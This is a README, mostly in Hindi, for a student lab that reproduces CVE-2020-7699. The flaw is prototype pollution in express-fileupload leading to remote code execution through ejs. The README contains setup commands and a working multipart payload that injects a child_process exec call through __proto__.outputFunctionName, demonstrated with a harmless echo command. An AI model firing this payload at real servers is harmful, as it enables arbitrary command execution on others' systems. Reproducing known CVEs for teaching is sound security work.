
针对 CVE-2020-7699 的复现,软件安全原理课程大作业
Node.js RCE भेद्यता (CVE-2020-7699) का पुनरुत्पादन, मेरी प्रयोगशाला का कार्य
Node.js संस्करण: v14.16.1, कृपया सुनिश्चित करें कि Node.js का संस्करण 14 है (अन्य संस्करण शायद काम करेगा, मैंने परीक्षण नहीं किया)
Python संस्करण: 3.9.5, Python का उपयोग केवल HTTP हमला अनुरोध भेजने के लिए किया जाता है, किसी विशिष्ट संस्करण की आवश्यकता नहीं है
बस clone करें रिपॉजिटरी को, npm i चलाकर निर्भरताएँ स्थापित करें। मैंने 2 और कमांड दिए हैं:
npm run start-server का उपयोग करके लक्ष्य सर्वर (पीड़ित सर्वर) शुरू करेंnpm run launch-attack का उपयोग करके हमला शुरू करेंexpress-fileUpload: 1.1.10 से नीचे का संस्करण प्रभावित होगा
भेद्यता: express-fileUpload प्रोटोटाइप प्रदूषण
इसका उपयोग कैसे करें: __proto__.outputFunctionName को प्रदूषित करें ताकि निष्पादित करने के लिए कमांड लिख सकें। उदाहरण: echo "ATTACK SUCCESSFUL" > attacked.txt
exec_command = "echo \"ATTACK SUCCESSFUL\" > attacked.txt"
{
"__proto__.outputFunctionName": (
None,
f"x;process.mainModule.require('child_process').exec('{exec_command}');x"
)
}
भेद्यता: ejs xxx.outputFunctionName को निष्पादित करने का प्रयास करेगा जो undefined है, लेकिन यदि object.outputFunctionName प्रदूषित है, तो वह इसके बजाय इसे निष्पादित करेगा